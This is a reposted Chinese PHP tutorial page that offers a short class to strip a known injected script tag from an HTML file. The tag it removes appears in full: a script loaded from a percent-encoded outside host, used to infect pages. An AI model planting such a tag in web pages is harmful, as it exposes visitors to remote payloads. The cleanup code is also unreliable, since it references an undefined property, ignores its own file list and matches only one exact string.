当前位置: 首页 > 图文教程 > 网络编程 > PHP > php 清除网页病毒的方法

PHP
php的curl实现get和post的代码
PHP6 先修班 JSON实例代码
phpMyAdmin2.11.6安装配置方法
常用的php对象类型判断
php 中文处理函数集合
php 缓存函数代码
php查看session内容的函数
php下删除字符串中HTML标签的函数
php xml分析函数代码
PHP Mysql编程之高级技巧
swfupload 多文件上传实现代码
PHP开发中常用的8个小技巧
PHP define函数的使用说明
超级全面的PHP面试题整理集合
php判断字符以及字符串的包含方法属性
PHP中常用数组处理方法实例分析
php array_slice函数的使用以及参数详解
PHP生成HTML静态页面实例代码
php将数据库中的电话号码读取出来并生成图片
PHP通用分页类page.php[仿google分页]

PHP 中的 php 清除网页病毒的方法


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 84 ::
收藏到网摘: n/a

好像是进行一些替换操作,大家可以测试 <?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒